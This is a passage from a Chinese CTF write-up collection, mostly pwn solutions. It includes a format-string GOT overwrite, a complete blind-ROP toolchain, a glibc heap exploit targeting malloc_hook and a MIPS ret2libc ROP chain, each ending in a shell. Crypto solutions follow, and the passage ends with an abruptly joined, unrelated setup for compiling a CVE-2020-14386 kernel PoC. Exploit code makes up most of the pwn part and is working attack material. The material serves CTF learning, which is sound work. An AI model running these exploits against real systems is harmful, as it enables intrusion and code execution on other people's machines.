to_add = (current | (mask+1)) - (numbwritten & mask)
if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)
numbwritten += to_add
what >>= decalage
fmtCount += 1
len1 = len(payload_forward)
key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount[i])
x_add = 0
y_add = 0
while True:
x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)
for i in range(len(key_temp)):
key_temp[i] = key_offset_fmtCount[i] + x_add
payload_temp = ""
for i in range(0,number):
if key_toadd[i] != 0:
payload_temp += "%{}c".format(key_toadd[i])
payload_temp += "%{}${}n".format(key_temp[i], formatz)
len2 = len(payload_temp)
xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
strlen_got = 0x601020
strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
io.send(strlen_leak)
io.recvuntil('Repeater:')
libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
print hex(libc_strlen)
#libc_printf = u64(io.recv()[8:16])
#print hex(libc_printf)
io.recv()
#step 2 find the libc
libc = LibcSearcher('strlen',libc_strlen)
libcbase = libc_strlen - libc.dump('strlen')
system_addr = libcbase + libc.dump('system')
print hex(system_addr)
#step 3 cover the address
payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
#payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
io.sendline(payload_antitone)
io.recv()
#step 4 get shell
#time.sleep(10)
io.sendline(";/bin/sh\x00")
#io.recv()
print hex(system_addr)
io.interactive()
**参考链接**
* [陌小生](https://www.xmsec.cc/format-string-leak-binary-blind-pwn/)
* [默小西](http://momomoxiaoxi.com/2017/12/26/Blindfmtstr/)
* [ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example-zh/#1-)
* pwntools官方文档...
## BROP
标准的brop的思路,本来出题想要加上canary以及write和strcmp,可惜环境容易崩,测试的时候,总是崩溃....没法上题
emm...步骤比较多
nc链接上去,发现,输入了,然后回显,然后没了...
使用%p也没用...那就猜测是否是否有栈区溢出
**暴力破解-获取偏移**
猜测是否有栈区溢出
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
ip = "0.0.0.0"
port = 10001
def getbufferflow_length():
i = 1
while True:
try:
io = remote(ip,port)
io.recvuntil("Please tell me:")
io.sendline(i*'a')
output = io.recvuntil("Goodbye!\n",timeout=1)
print output
#hello = io.recv()
io.close()
#print "[*] the index is " + str(output.find('Goodbyte!'))
if output == "":
return i - 1
else:
i += 1
except EOFError:
io.close()
return i - 1
length = getbufferflow_length()
print length
**获取stop_gadget--main**
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
gadget_array = []
def get_stop_addr(length):
addr = 0x4007D0#7D0
while 1:
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil("Please tell me:")
payload = 'a' * length + p64(addr)
sh.sendline(payload)
#sh.recvuntil("Repeater:")
sh.recv()
recvstr = sh.recv()
sh.close()
if recvstr.startswith('Hello'):
gadget_array.append(addr)
return gadget_array
print 'one success addr: 0x%x' % (addr)
addr += 1
except Exception:
addr += 1
sh.close()
length = 216
stop_gadget = get_stop_addr(length)
for i in range(len(stop_gadget)):
print 'one success addr: 0x%x' % (stop_gadget[i])
#0x4007d6
**获取brop_gadget--libc_csu_init**
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
sh.recv()
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.find('Hello'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
sh.recv()
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
length = 216
stop_gadget = 0x4007d6
addr = 0x4007d6#libc_scu_init is behind from main
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
#0x40095a
**获取puts_plt**
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400630
while 1:
print hex(addr)
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
sh.recv()
content = sh.recv()
if content.find('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = get_puts_addr(length,rdi_ret,stop_gadget)
print hex(puts_plt)
#0x400635
**dump文件**
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
addr = 0x4005fd#0x400000
result = ""
offset = 0
while addr < 0x401000:
#print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr+offset, stop_gadget)
print "data is " + data
if data is None:
continue
else:
result = data
offset += len(data)
print "[*] offset is "+ hex(offset)
print "[*] addr is "+ hex(addr)
with open('code', 'ab') as f:
f.write(result)
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 10001)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('Please tell me:')
sh.sendline(payload)
try:
#sh.recvuntil(rdi_ret)
#hello = 'a' * length + p8((rdi_ret>>1)&0xff) + p8((rdi_ret>>2)&0xff) + p8(rdi_ret & 0xff)
hello = 'a' * length + '\x63\x09\x40'
print "[*] hello is " + hello
sh.recvuntil(hello)
#sh.recv()
data = sh.recv()
sh.close()
try:
#print hex(rdi_ret)
data = data[:data.index("\nHello")]
#print data
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635
print "this is " + hex(rdi_ret)
leakfunction(length, rdi_ret, puts_plt, stop_gadget)
#io.interactive()
中间好像会中断一次,应该是申请了太多次,导致的断开连接了...
但是没事,继续泄露就行了,然后dump下来看汇编,找到对应的puts_plt哪行对应的地址...舒服了
一个重点:
这里会发现一个问题,我们的puts_plt = 0x400635
在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个
很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
**exp**
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635
puts_got = 0x601018
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
sh.recvuntil('\x63\x09\x40')
data = sh.recvuntil('\nHello', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
print "[*] puts_addr is " + hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
## PWN4
考点：
fmt、offbyone、chunk overlapping、unsortedbin attack、fastbin attack
题解
**漏洞点**
1. banner 函数处有一处格式化字符串漏洞，可以用来泄露栈上的程序基地址和 libc 地址
1. 在 get_input 函数处，存在一处 offbyone
1. 在 add_note 函数中，只有当 key = 0x2B 时，可以 malloc 任意大小的 chunk，否则不能 malloc fastbin 大小的 chunk：
1. 所以这里利用 offbyone 配合 unsorted bin attack，使得 key 为 0x2B（malloc+88 的低 12 bit 的字节是 B），再使用一次 chunk overlapping，即可进行 fastbin attack，之后覆盖 fd 为 malloc 上方，覆盖 malloc_hook 即可。
**EXP**
from pwn import *
#context.log_level="debug"
DEBUG=1
EXEC_FILE = "./pwn1"
REMOTE_LIBC = "/home/h4lo/ctf/glibc/glibc_2_23/glibc-2.23/_debug/lib/libc-2.23.so"
def main():
if DEBUG:
r = process(EXEC_FILE)
elf = ELF(EXEC_FILE)
libc = elf.libc
one_gadget = 0xce51c
else:
r = remote("")
elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)
one_gadget = 0xce51c
def menu(idx):
sleep(0.1)
r.recv()
sleep(0.1)
r.sendline(str(idx))
def add(idx,size,content):
menu(1)
r.recv()
r.sendline(str(idx))
r.recv()
r.sendline(str(size))
r.recv()
r.sendline(str(content))
def delete(idx):
menu(2)
r.recv()
r.sendline(str(idx))
'''
def show(idx):
menu()
r.recv()
r.sendline(str(idx))
'''
def edit(idx,content):
menu(4)
r.recv()
r.sendline(str(idx))
r.recv()
r.sendline(str(content))
r.recv()
r.sendline("%15$lx%11$lx")
r.recvuntil("Hello, ")
libc_addr = eval("0x"+r.recv(2*6)) - 267 - libc.symbols['__libc_start_main']
success(hex(libc_addr))
base_addr = eval("0x"+r.recv(2*6)) - 28 - 0x116a
success(hex(base_addr))
add(0,0x88,'a')
add(1,0x88,'a')
add(2,0x88,'a')
add(3,0x88,'a')
add(4,0x88,'a')
add(5,0x88,'a')
delete(0)
edit(3,'a'*0x80+p64(0x240)+p8(0x90))
delete(4)
add(0,0x88,'a')
add(4,0x88,'a')
add(6,0x88,'a')
edit(0,'a'*0x88+p8(0x71))
edit(1,'a'*0x60+p64(0)+p64(0x21)+'a'*0x18+p64(0x71))
edit(2,'a'*0x60+p64(0)+p8(0x21))
#add(7,0x88,'a')
#edit(1,p64(0)+p64(base_addr+0x20202f))
edit(3,p64(0)+p64(base_addr+0x20202f))
#add(5,0xf8,'a')
#add(6,0x1f0,"a")
delete(1)
delete(2)
add(1,0x110,'a')
edit(6,p64(libc_addr + libc.symbols['main_arena'] - 0x30 - 3))
#pause()
r.sendlineafter(">> ",'1')
r.sendlineafter(":",'2')
#add(2,0x68,'a')
r.sendlineafter(":\n",str(0x68))
if "hack" in r.recvline():
return
r.sendline("H4lo")
payload = 'a'*0x13 + p64(libc_addr + one_gadget) # one_gadget
add(8,0x68,payload)
add(9,0x68,"H4lo")
r.interactive()
if __name__ == '__main__':
while(True):
main()
## PWN5
考点：
一道 Mips 指令的 rop 的题目，需要对 mips 指令有一定的熟悉
题解
1. 逆向代码，在 vuln 函数中存在一处栈溢出
1. 但是没有 system 函数，需要进行 ret2libc 的利用，先泄露出 got 表里面的内容，之后调用 system 函数即可。
1. /bin/sh 字符串在 libc 中也可以找到，直接调用 system("/bin/sh") 即可。
**EXP**
from pwn import *
#context.log_level="debug"
r = remote("127.0.0.1",8881)
#r = process("./build_pwn2.sh")
elf = ELF("./pwn2")
libc = ELF("/home/h4lo/mipsel-env/lib/libuClibc-0.9.33.2.so")
payload = "H4lo"
#payload += p32(0x00410AA0)
r.recvuntil("What's your name:")
r.sendline(payload)
sleep(0.2)
r.recv()
sleep(0.2)
# gadget1
payload = p32(1) * 9
payload += p32(0x004006C8)
#payload += p32(elf.plt['puts']) # fp
payload += p32(1)
payload += "a" * 0x18
payload += 'a' * 4 # s0
#payload += p32(elf.got['puts']) # s1
payload += p32(0x00410B58)
payload += p32(0x0040092C) # s2
payload += 'a' * 4 # s3
payload += p32(0x004007A4) # ra
payload += 'a'*0x20
payload += p32(0x004007C4)
sleep(0.2)
r.send(payload)
r.recv()
#success(a)
libc_addr = u32(r.recv(4))-libc.symbols['puts']
success("libc_addr: " + hex(libc_addr))
r.recv()
#r.send(payload)
system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + 0x9bc48
# gadget2
payload = 'a'*0x24
payload += p32(0x004006C8)
payload += 'a'*0x1c
payload += 'a'*4 #s0
payload += p32(binsh_addr)
payload += p32(system_addr)
payload += 'a'*4
payload += p32(0x004007A4)
r.send(payload)
r.interactive()
# Crypto
## funny_php
根据给出的加密函数，写出解密php代码。
<?php
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";
$miwen=strrev($miwen);
$miwen=str_rot13($miwen);
$miwen=base64_decode($miwen);
print($miwen);
for($i=0;$i<strlen($miwen);$i++){
$str1=ord($miwen[$i])-$i;
$_=$_.$str1;
}
$arr1=array();
for($i=0;$i<2*strlen($_);$i=$i+2){
$c=substr($_,$i,2);
$arr1[$i]=$c;
}
$arr2=array();
$j=0;
for($i=0;$i<count($arr1);$i++){
if($arr1[$i]){
$arr2[$j]=$arr1[$i];
$j++;
}
}
for($i=0;$i<count($arr2);$i++){
$_c=$arr2[$i];
$_c=chr($_c);
$str2=$str2.$_c;
}
$a=array();
for($i=0;$i<2*strlen($str2);$i=$i+2){
$c=substr($str2,$i,2);
$a[$i]=$c;
}
$d=array();
$j=0;
for($i=0;$i<count($a);$i++){
if($a[$i]){
$d[$j]=$a[$i];
$j++;
}
}
$str3="";
for($i=0;$i<count($d);$i++){
$_c=$d[$i];
$str3=$str3.$_c;
}
print($str3); //输出$str3后得到unpack后的字符串，根据unpack函数规则，构造最终的flag
print_r(pack("C*",102,108,97,103,123,101,97,115,121,95,101,110,99,111,100,101,125));
?>
flag{easy_encode}
## This_is_not_a_standard_AES256
先nc获取信息
PS C:\Users\HiragaAya> nc 49.233.64.38 22333
This is you Sbox(tuple)
126, 143, 160, 15, 180, 170, 84, 152, 109, 20, 40, 136, 49, 179, 125, 165, 53, 251, 215, 87, 167, 41, 241, 178, 253, 239, 233, 193, 60, 110, 14, 246, 89, 228, 31, 42, 72, 213, 22, 102, 111, 52, 28, 254, 5, 219, 98, 94, 36, 161, 223, 191, 62, 57, 200, 133, 130, 149, 93, 248, 3, 13, 164, 76, 17, 101, 236, 51, 182, 81, 127, 185, 197, 100, 166, 183, 10, 18, 243, 196, 201, 119, 85, 131, 80, 46, 7, 224, 32, 158, 146, 71, 19, 25, 112, 249, 138, 139, 55, 175, 226, 1, 78, 106, 181, 211, 118, 218, 9, 64, 173, 207, 105, 63, 108, 235, 77, 134, 45, 44, 88, 171, 240, 65, 232, 33, 82, 227, 217, 129, 70, 8, 177, 128, 252, 135, 61, 190, 12, 150, 58, 216, 59, 121, 206, 188, 187, 104, 27, 242, 34, 212, 30, 176, 203, 244, 230, 141, 247, 114, 117, 0, 237, 39, 234, 21, 148, 2, 238, 250, 74, 4, 145, 29, 189, 192, 103, 229, 123, 163, 144, 153, 255, 154, 202, 86, 225, 195, 67, 37, 245, 43, 142, 221, 147, 209, 174, 97, 92, 231, 90, 107, 122, 56, 157, 35, 6, 156, 199, 120, 68, 116, 162, 79, 69, 198, 95, 38, 140, 169, 205, 204, 115, 210, 113, 23, 24, 132, 91, 73, 184, 172, 54, 159, 214, 47, 186, 208, 96, 66, 151, 83, 168, 99, 222, 26, 75, 124, 48, 137, 50, 155, 194, 16, 220, 11
---------------- This is you key(str)
letrvcgspwxjknzfylteavqbimszrwhk
---------------- This is you cipher(list)
93, 78, 25, 81, 18, 232, 250, 12, 94, 128, 81, 128, 88, 156, 180, 110, 151, 87, 197, 247, 8, 228, 51, 71, 102, 38, 146, 218, 40, 70, 6, 16
---------------- Enjoy it!
PS C:\Users\HiragaAya>
然后使用exp.py
import AES256,sbox
send = (126, 143, 160, 15, 180, 170, 84, 152, 109, 20, 40, 136, 49, 179, 125, 165, 53, 251, 215, 87, 167, 41, 241, 178, 253, 239, 233, 193, 60, 110, 14, 246, 89, 228, 31, 42, 72, 213, 22, 102, 111, 52, 28, 254, 5, 219, 98, 94, 36, 161, 223, 191, 62, 57, 200, 133, 130, 149, 93, 248, 3, 13, 164, 76, 17, 101, 236, 51, 182, 81, 127, 185, 197, 100, 166, 183, 10, 18, 243, 196, 201, 119, 85, 131, 80, 46, 7, 224, 32, 158, 146, 71, 19, 25, 112, 249, 138, 139, 55, 175, 226, 1, 78, 106, 181, 211, 118, 218, 9, 64, 173, 207, 105, 63, 108, 235, 77, 134, 45, 44, 88, 171, 240, 65, 232, 33, 82, 227, 217, 129, 70, 8, 177, 128, 252, 135, 61, 190, 12, 150, 58, 216, 59, 121, 206, 188, 187, 104, 27, 242, 34, 212, 30, 176, 203, 244, 230, 141, 247, 114, 117, 0, 237, 39, 234, 21, 148, 2, 238, 250, 74, 4, 145, 29, 189, 192, 103, 229, 123, 163, 144, 153, 255, 154, 202, 86, 225, 195, 67, 37, 245, 43, 142, 221, 147, 209, 174, 97, 92, 231, 90, 107, 122, 56, 157, 35, 6, 156, 199, 120, 68, 116, 162, 79, 69, 198, 95, 38, 140, 169, 205, 204, 115, 210, 113, 23, 24, 132, 91, 73, 184, 172, 54, 159, 214, 47, 186, 208, 96, 66, 151, 83, 168, 99, 222, 26, 75, 124, 48, 137, 50, 155, 194, 16, 220, 11)
invsbox = sbox.InvSbox(send)
print (invsbox)
cipher = [93, 78, 25, 81, 18, 232, 250, 12, 94, 128, 81, 128, 88, 156, 180, 110, 151, 87, 197, 247, 8, 228, 51, 71, 102, 38, 146, 218, 40, 70, 6, 16]
key = "letrvcgspwxjknzfylteavqbimszrwhk"
plain = AES256.decrypt(cipher,key,"ECB","")
AES256.plain_to_ascii(plain)
运行得到逆S盒
161, 101, 167, 60, 171, 44, 206, 86, 131, 108, 76, 255, 138, 61, 30, 3, 253, 64, 77, 92, 9, 165, 38, 225, 226, 93, 245, 148, 42, 173, 152, 34, 88, 125, 150, 205, 48, 189, 217, 163, 10, 21, 35, 191, 119, 118, 85, 235, 248, 12, 250, 67, 41, 16, 232, 98, 203, 53, 140, 142, 28, 136, 52, 113, 109, 123, 239, 188, 210, 214, 130, 91, 36, 229, 170, 246, 63, 116, 102, 213, 84, 69, 126, 241, 6, 82, 185, 19, 120, 32, 200, 228, 198, 58, 47, 216, 238, 197, 46,
243, 73, 65, 39, 176, 147, 112, 103, 201, 114, 8, 29, 40, 94, 224, 159, 222, 211, 160, 106, 81, 209, 143, 202, 178, 247, 14, 0, 70, 133, 129, 56, 83, 227, 55, 117, 135, 11, 249, 96, 97, 218, 157, 192, 1, 180, 172, 90, 194, 166, 57, 139, 240, 7, 181, 183, 251, 207, 204, 89, 233, 2, 49, 212, 179, 62, 15, 74, 20, 242, 219, 5, 121, 231, 110, 196, 99, 153, 132, 23, 13, 4, 104, 68, 75, 230, 71, 236, 146, 145, 174, 137, 51, 175, 27, 252, 187, 79, 72, 215, 208, 54, 80, 184, 154, 221, 220, 144, 111, 237, 195, 223, 105, 151, 37, 234, 18, 141, 128, 107, 45, 254, 193, 244, 50, 87, 186, 100, 127, 33, 177, 156, 199, 124, 26, 164, 115, 66, 162, 168, 25, 122, 22, 149, 78, 155, 190, 31, 158, 59, 95, 169, 17, 134, 24, 43, 182
填入AES256.py的前面
(161, 101, 167, 60, 171, 44, 206, 86, 131, 108, 76, 255, 138, 61, 30, 3, 253, 64, 77, 92, 9, 165, 38, 225, 226, 93, 245, 148, 42, 173, 152, 34, 88, 125, 150, 205, 48, 189, 217, 163, 10, 21, 35, 191, 119, 118, 85, 235, 248, 12, 250, 67, 41, 16, 232, 98, 203, 53, 140, 142, 28, 136, 52, 113, 109, 123, 239, 188, 210, 214, 130, 91, 36, 229, 170, 246, 63, 116, 102, 213, 84, 69, 126, 241, 6, 82, 185, 19, 120, 32, 200, 228, 198, 58, 47, 216, 238, 197, 46,
243, 73, 65, 39, 176, 147, 112, 103, 201, 114, 8, 29, 40, 94, 224, 159, 222, 211, 160, 106, 81, 209, 143, 202, 178, 247, 14, 0, 70, 133, 129, 56, 83, 227, 55, 117, 135, 11, 249, 96, 97, 218, 157, 192, 1, 180, 172, 90, 194, 166, 57, 139, 240, 7, 181, 183, 251, 207, 204, 89, 233, 2, 49, 212, 179, 62, 15, 74, 20, 242, 219, 5, 121, 231, 110, 196, 99, 153, 132, 23, 13, 4, 104, 68, 75, 230, 71, 236, 146, 145, 174, 137, 51, 175, 27, 252, 187, 79, 72, 215, 208, 54, 80, 184, 154, 221, 220, 144, 111, 237, 195, 223, 105, 151, 37, 234, 18, 141, 128, 107, 45, 254, 193, 244, 50, 87, 186, 100, 127, 33, 177, 156, 199, 124, 26, 164, 115, 66, 162, 168, 25, 122, 22, 149, 78, 155, 190, 31, 158, 59, 95, 169, 17, 134, 24, 43, 182)
flag{sbox_to_invsbox}
PS C:\Users\HiragaAya>
## crackWithFreq
利用字母频率破解密文。
首先使用重合指数法猜接触密钥长度，得到长度为 12。这里解出出来的长度其实是 key1 key2 长度的最小公倍数。然后，将密文中的 每个字母以 12
为间隔分 12 组（假如密文是: ABCDEFGHIJKLMN，以 3 为间隔分一 组，那么 ADGJM 就是一组）。
这样每组既可以看作一个仿射密码的破解，这时密钥空间只有256，可以爆破利用字母频率进行破解。
# -*- coding: utf-8 -*- from pycipher import Affine
import string
table = string.ascii_lowercase
englishExpectedFrequencies = {
'a': 0.08167, 'b': 0.01492, 'c': 0.02782, 'd': 0.04253,
'e': 0.12702, 'f': 0.02228, 'g': 0.02015, 'h': 0.06094,
'i': 0.06966, 'j': 0.00153, 'k': 0.00772, 'l': 0.04025,
'm': 0.02406, 'n': 0.06749, 'o': 0.07507, 'p': 0.01929,
'q': 0.00095, 'r': 0.05987, 's': 0.06327, 't': 0.09056,
'u': 0.02758, 'v': 0.00978, 'w': 0.02361, 'x': 0.00150,
'y': 0.01974, 'z': 0.00074
}
dic = {1: 1, 3: 9, 5: 21, 7: 15, 9: 3, 11: 19, 15: 7, 17: 23, 19: 11, 21: 5, 23: 17, 25: 25}
# 找出假定秘钥长度内的最可能长度
# 所用的方法：重合指数法
def decryptFirstStage(toDecrypt): # 将密文传入。
min_len = 3
max_len = 15
toDecrypt = toDecrypt.lower() # 将密文转为小写
best_len = 0
best_aver = 0
best_rate = 0.65
min_rate = 100
for i in range(0, len(toDecrypt)): # 每次循环测试一个密钥长度。
lengthOfKey = i + 1
averageIC = 0.0 # 重置 averageIC
sequenceDictionary = {} # 序列字典或用于统计分组。
hadZeroError = False # hadZeroError 或用于预防某种错误的计算。
# 此循环用于生成分组字典 sequenceDictionary
for index in range(0, len(toDecrypt)):
sequenceNumber = index % lengthOfKey # 密文中的第 index 个字符应该属于那个分组。
if sequenceNumber in sequenceDictionary: # 分组若存在，则将 toDecrypt[index] 加入分组字符串，如不存在，则先创建再添加。
sequenceDictionary[sequenceNumber] += toDecrypt[index]
else:
sequenceDictionary[sequenceNumber] = toDecrypt[index]
# 此循环用于生成各个分组的重合指数和 averageIC
for stringSequence in sequenceDictionary.values():
try:
averageIC += calculateIC(stringSequence) # 统计各个分组的重合指数，并求和。最后储存在 averageIC 中。引入了自定义函数 calculateIC()
except ZeroDivisionError:
hadZeroError = True
break
if hadZeroError == True:
averageIC = 0
else:
averageIC /= len(sequenceDictionary.keys()) # averageIC 求平均值。
rate = abs(1 - (averageIC / best_rate))
# 这个判断用于选出最佳长度
if (min_len <= lengthOfKey <= max_len) and (rate < min_rate): # 判断条件为： averageIC 最大的一组 & 密钥长度区间在[3,5]
min_rate = rate # 考虑是否可以修改循环次数？
best_len = lengthOfKey\
# 找出指定秘钥长度范围内averageIC最大的那个秘钥长度
# print('最佳长度：', best_len)
return best_len
# 用于计算重合指数，输入类型为 str
def calculateIC(inputText):
inputText = "".join(inputText.lower().split()) # 是否可以省略这一步？
frequency = getFrequencyOfText(inputText) # 获取字母-次数字典。
ic = 0.0
# 循环26个小写字母
for letter in table:
if letter in frequency:
ic += frequency[letter] * (frequency[letter] - 1)
ic /= len(inputText) * (len(inputText) - 1) # 重合指数计算公式。
return ic
def getFrequencyOfText(inputText):
frequency = {}
for letter in inputText:
if letter in frequency:
frequency[letter] += 1
else:
frequency[letter] = 1
return frequency
def getGroups(raw, block):
groups = []
for i in range(block):
k = i
part = ""
while True:
try:
part += raw[k]
k += block
except:
break
groups.append(part)
return groups
def getEnglishScore(inputText):
"""计算英文字符串的“评分”，计算方法为：
Score = (字符串中各个字母的数量 * 其对应的字母频率)的总和 / 字符串去掉空格后的长度
:param inputText: 英文字符串 string
:return: 评分 int
"""
inputText = inputText.lower().replace(" ", "")
score = sum([englishExpectedFrequencies.get(char, 0) for char in inputText]) / len(inputText)
return score
def crack(cipher):
fitness = float("-inf")
bestResult = ""
key_a = None
key_b = None
for i in dic.keys():
for j in range(0, 26):
af = Affine(a=i, b=j)
result = af.decipher(cipher)
bestFitness = getEnglishScore(result)
if bestFitness > fitness:
key_a = i
key_b = j
fitness = bestFitness
bestResult = result
return bestResult, key_a, key_b
en = "ltpflwfkqnyfmbjbchqnadkaykyhgpzaezjfrfkdonetcvcrkaaronhdnvghmyzwshrhefgqjfbrphqmgvglgvlfonzzqngxqfsessrhphupnvlfxsxotmzccnqfvmfdlhujqvezonbhsnsgykffzmbhefxtrrfjqsxywnolschammigsuetynevesboxmolrirbzhnhtynalodsgnyhxahlrifjqyijphgaqrlrclrhpattjcegcviubmztdvysstskrqelgfzjmjqhjmnmqkhcumftngxltgebfossacnvscaosixddmzcuqdyxciqaugqzoatgxnhmvczlrrfezzhlqalpogfejetmqfthtojfxeuxmqmushcbwsqtmdfdovtulzhlqccnobdshiqascgqxuyjwegbqdfrogrrgxhwfqpqqayooeoxanrunprzsigmatptaxjfavmaaqazoirructbmffenahsjxyahuajtomfsfnavgbcvsysxsjqkggjvlfreqoxaqlwflfzmipxyqiqaxfgoskauczogsdbaurejccjfoxgnknehlpnkyyjauowhymqfsceosbrydlkofyesrdzakazkbrzcxyastfsnymcarhjmtvgvbtrueoxmlljvhfljqgcmqtcrzjjscrahdtgfozonxvrigqunlrcrilnngvkfsmzwroxmlljvhfljqgcmhlgczvztenqnmpcvocuafoxmqpkkfclpsgafetgcfoezqoajpveuegywqoajitraltjssjedczjvessyevjmsycykypjijensqocbfftehhgltcqocpjijepscsfogjwhvncnbemzospqolhgedcfzsyijwnaoubzjymfnaynpnqogepzdlvgcooftfwsksytpdymjoxcdnnugwysrvhnhtynalodsgnyhlvsacyspwweuxanvusssseetnyfncvkvetsozqtbetyysixyagcgkoky"
length = decryptFirstStage(en)
print "Length is: %d" % length
gp = getGroups(en, length)
key1 = ""
key2 = ""
for p in gp:
res, a, b = crack(p)
key1 += table[a]
key2 += table[b]
print key1 + '\n' + key2
## JustBase
主要考察的是 base64 的原理。这道题将 base64 编码表中的 0123456789 替换成了 )!@#$%^&*(
。解题者可以通过打印密文中的出现的字符来发现这个规律。
key = ")!@#$%^&*("
tmp = ""
for c in b:
if c in '!@#$%^&*()':
c = key.index(c)
tmp += str(c)
print base64.b64decode(tmp) | 社区文章 |
## 环境搭建
（1）下载调试镜像：
sudo apt-get install debootstrap
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
chmod +x create-image.sh
./create-image.sh
（2）编译内核
具体见：[https://de4dcr0w.github.io/%E5%BF%AB%E9%80%9F%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AALinux%E5%86%85%E6%A0%B8%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83.html](https://de4dcr0w.github.io/快速搭建一个Linux内核调试环境.html)
（3）编译poc
wget https://raw.githubusercontent.com/cgwalters/cve-2020-14386/master/cve-cap-net-raw.c
gcc cve-cap-net-raw.c -o poc -static
